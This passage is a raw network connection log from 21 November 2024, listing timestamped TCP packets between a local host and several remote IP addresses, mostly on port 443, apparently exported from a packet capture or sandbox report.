Nov 21, 2024 22:34:02.904141903 CET	49769	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.926014900 CET	49769	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.926033974 CET	443	49769	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.926047087 CET	49769	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.926054955 CET	443	49769	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.945204973 CET	443	49771	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.945369005 CET	443	49771	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.945425987 CET	49771	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.961199045 CET	443	49767	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.961361885 CET	443	49767	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.961509943 CET	49767	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.966361046 CET	443	49768	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.966418028 CET	443	49768	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.966469049 CET	49768	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.969881058 CET	49768	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.969898939 CET	443	49768	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.969913960 CET	49768	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.969921112 CET	443	49768	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.971304893 CET	49771	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.971338987 CET	443	49771	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.971421957 CET	49771	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.971435070 CET	443	49771	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.972098112 CET	49767	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.972111940 CET	443	49767	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.972125053 CET	49767	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.972129107 CET	443	49767	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.973186970 CET	443	49770	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.973340988 CET	443	49770	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.973393917 CET	49770	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.014529943 CET	49770	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.014529943 CET	49770	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.014540911 CET	443	49770	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.014550924 CET	443	49770	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.017808914 CET	49772	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.017910957 CET	443	49772	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.017999887 CET	49772	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.018731117 CET	49772	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.018771887 CET	443	49772	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.020303011 CET	49773	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.020380020 CET	443	49773	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.020452976 CET	49773	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.020589113 CET	49773	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.020622969 CET	443	49773	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.021765947 CET	49774	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.021789074 CET	443	49774	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.021850109 CET	49774	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.022429943 CET	49775	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.022454977 CET	443	49775	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.022516966 CET	49775	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.023104906 CET	49776	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.023127079 CET	443	49776	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.023179054 CET	49776	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.023255110 CET	49774	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.023272038 CET	443	49774	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.023364067 CET	49775	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.023386955 CET	443	49775	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:03.023494005 CET	49776	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:03.023514986 CET	443	49776	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.750268936 CET	443	49774	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.750895023 CET	49774	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.750951052 CET	443	49774	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.751369953 CET	49774	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.751383066 CET	443	49774	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.806543112 CET	443	49772	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.807121038 CET	49772	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.807159901 CET	443	49772	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.807625055 CET	49772	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.807637930 CET	443	49772	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.811366081 CET	443	49773	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.811722994 CET	49773	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.811760902 CET	443	49773	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.812251091 CET	49773	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.812268019 CET	443	49773	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.826538086 CET	443	49775	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.828830004 CET	49775	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.828847885 CET	443	49775	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.829571962 CET	49775	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.829582930 CET	443	49775	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.849776983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:34:04.887283087 CET	443	49776	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.887756109 CET	49776	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.887833118 CET	443	49776	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:04.888216019 CET	49776	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:04.888230085 CET	443	49776	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.184670925 CET	443	49774	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.184834957 CET	443	49774	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.185060024 CET	49774	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.185162067 CET	49774	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.185162067 CET	49774	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.185214043 CET	443	49774	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.185245991 CET	443	49774	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.189002037 CET	49777	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.189045906 CET	443	49777	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.189137936 CET	49777	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.189363956 CET	49777	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.189382076 CET	443	49777	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.251728058 CET	443	49772	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.251779079 CET	443	49772	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.251979113 CET	49772	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.254744053 CET	49772	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.254744053 CET	49772	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.254798889 CET	443	49772	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.254828930 CET	443	49772	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.257314920 CET	49778	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.257380962 CET	443	49778	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.257494926 CET	49778	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.257704020 CET	49778	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.257731915 CET	443	49778	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.270580053 CET	443	49773	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.270749092 CET	443	49773	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.270809889 CET	49773	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.270879030 CET	49773	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.270879030 CET	49773	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.270910025 CET	443	49773	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.270941973 CET	443	49773	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.272983074 CET	49779	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.272999048 CET	443	49779	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.273060083 CET	49779	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.273164034 CET	49779	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.273170948 CET	443	49779	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.285024881 CET	443	49775	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.285183907 CET	443	49775	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.285257101 CET	49775	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.285439968 CET	49775	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.285440922 CET	49775	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.285456896 CET	443	49775	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.285476923 CET	443	49775	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.287410975 CET	49780	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.287446022 CET	443	49780	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.287612915 CET	49780	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.287749052 CET	49780	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.287775993 CET	443	49780	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.344355106 CET	443	49776	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.344422102 CET	443	49776	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.344506025 CET	49776	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.344765902 CET	49776	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.344765902 CET	49776	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.344794989 CET	443	49776	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.344820976 CET	443	49776	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.346756935 CET	49781	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.346849918 CET	443	49781	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:05.346946955 CET	49781	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.347048998 CET	49781	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:05.347075939 CET	443	49781	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:06.976012945 CET	443	49777	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:06.976628065 CET	49777	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:06.976661921 CET	443	49777	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:06.977300882 CET	49777	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:06.977308989 CET	443	49777	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.014899969 CET	443	49780	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.015650988 CET	49780	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.015683889 CET	443	49780	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.016324997 CET	49780	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.016340017 CET	443	49780	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.059587955 CET	443	49779	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.060291052 CET	49779	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.060311079 CET	443	49779	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.060736895 CET	49779	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.060744047 CET	443	49779	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.069571018 CET	443	49781	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.070065022 CET	49781	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.070135117 CET	443	49781	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.070653915 CET	49781	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.070672989 CET	443	49781	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.102261066 CET	443	49778	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.102886915 CET	49778	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.102905989 CET	443	49778	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.103363037 CET	49778	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.103368998 CET	443	49778	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.431804895 CET	443	49777	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.431977987 CET	443	49777	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.432087898 CET	49777	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.432307005 CET	49777	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.432323933 CET	443	49777	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.432352066 CET	49777	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.432359934 CET	443	49777	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.435339928 CET	49782	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.435395956 CET	443	49782	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.435710907 CET	49782	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.435911894 CET	49782	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.435940027 CET	443	49782	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.463563919 CET	443	49780	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.463726997 CET	443	49780	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.467703104 CET	49780	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.467752934 CET	49780	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.467752934 CET	49780	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.467782974 CET	443	49780	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.467808962 CET	443	49780	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.470272064 CET	49783	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.470350027 CET	443	49783	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.470436096 CET	49783	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.470602989 CET	49783	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.470635891 CET	443	49783	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.501066923 CET	49724	80	192.168.2.4	199.232.214.172
Nov 21, 2024 22:34:07.504268885 CET	443	49781	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.504334927 CET	443	49781	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.504416943 CET	49781	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.504569054 CET	49781	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.504569054 CET	49781	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.504595995 CET	443	49781	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.504621983 CET	443	49781	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.507330894 CET	49784	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.507359982 CET	443	49784	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.507438898 CET	49784	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.507596970 CET	49784	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.507611990 CET	443	49784	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.515165091 CET	443	49779	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.515223026 CET	443	49779	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.515302896 CET	49779	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.515423059 CET	49779	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.515430927 CET	443	49779	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.515445948 CET	49779	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.515450954 CET	443	49779	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.517487049 CET	49785	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.517515898 CET	443	49785	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.517573118 CET	49785	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.517672062 CET	49785	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.517683983 CET	443	49785	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.591909885 CET	443	49778	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.591968060 CET	443	49778	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.592168093 CET	49778	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.592380047 CET	49778	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.592397928 CET	443	49778	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.592411041 CET	49778	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.592417955 CET	443	49778	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.595448971 CET	49786	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.595465899 CET	443	49786	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.595525980 CET	49786	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.595652103 CET	49786	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:07.595664978 CET	443	49786	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:07.621135950 CET	80	49724	199.232.214.172	192.168.2.4
Nov 21, 2024 22:34:07.623814106 CET	49724	80	192.168.2.4	199.232.214.172
Nov 21, 2024 22:34:09.233339071 CET	443	49784	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.233985901 CET	49784	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.234033108 CET	443	49784	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.234626055 CET	49784	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.234639883 CET	443	49784	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.255301952 CET	443	49783	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.255811930 CET	49783	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.255892992 CET	443	49783	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.256403923 CET	49783	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.256417990 CET	443	49783	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.310056925 CET	443	49782	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.310587883 CET	49782	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.310647964 CET	443	49782	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.311160088 CET	49782	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.311176062 CET	443	49782	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.316395044 CET	443	49785	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.316854954 CET	49785	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.316876888 CET	443	49785	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.317420006 CET	49785	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.317424059 CET	443	49785	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.381828070 CET	443	49786	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.382452011 CET	49786	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.382503033 CET	443	49786	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.383060932 CET	49786	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.383071899 CET	443	49786	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.668634892 CET	443	49784	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.668678045 CET	443	49784	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.668761015 CET	49784	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.668982983 CET	49784	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.669019938 CET	443	49784	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.669099092 CET	49784	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.669112921 CET	443	49784	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.672342062 CET	49787	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.672388077 CET	443	49787	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.672465086 CET	49787	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.672667980 CET	49787	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.672682047 CET	443	49787	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.698611975 CET	443	49783	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.698775053 CET	443	49783	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.698867083 CET	49783	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.699052095 CET	49783	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.699109077 CET	443	49783	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.699145079 CET	49783	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.699161053 CET	443	49783	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.701775074 CET	49788	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.701806068 CET	443	49788	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.701886892 CET	49788	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.702049017 CET	49788	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.702061892 CET	443	49788	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.760510921 CET	443	49785	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.760658026 CET	443	49785	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.761054039 CET	49785	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.761132002 CET	49785	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.761142969 CET	443	49785	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.761152983 CET	49785	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.761157990 CET	443	49785	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.764025927 CET	49789	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.764056921 CET	443	49789	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.764130116 CET	49789	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.764303923 CET	49789	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.764317989 CET	443	49789	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.785024881 CET	443	49782	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.785178900 CET	443	49782	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.785346031 CET	49782	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.785844088 CET	49782	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.785881042 CET	443	49782	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.785907984 CET	49782	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.785923004 CET	443	49782	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.789397001 CET	49790	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.789407015 CET	443	49790	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.789494991 CET	49790	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.789719105 CET	49790	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.789727926 CET	443	49790	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.839843988 CET	443	49786	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.839886904 CET	443	49786	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.839973927 CET	49786	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.848090887 CET	49786	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.848114014 CET	443	49786	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.848139048 CET	49786	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.848150969 CET	443	49786	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.851696968 CET	49791	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.851737976 CET	443	49791	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:09.851881027 CET	49791	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.852088928 CET	49791	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:09.852101088 CET	443	49791	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.459026098 CET	443	49787	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.459680080 CET	49787	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.459707022 CET	443	49787	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.460304022 CET	49787	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.460310936 CET	443	49787	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.485476017 CET	443	49789	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.485833883 CET	49789	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.485846996 CET	443	49789	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.486360073 CET	49789	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.486365080 CET	443	49789	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.585530043 CET	443	49788	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.586335897 CET	49788	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.586350918 CET	443	49788	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.586991072 CET	49788	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.586996078 CET	443	49788	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.631439924 CET	443	49791	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.632097006 CET	49791	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.632112980 CET	443	49791	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.632633924 CET	49791	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.632639885 CET	443	49791	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.643635035 CET	443	49790	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:11.644254923 CET	49790	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:11.644260883 CET	443	49790	13.107.246.63	192.168.2.4
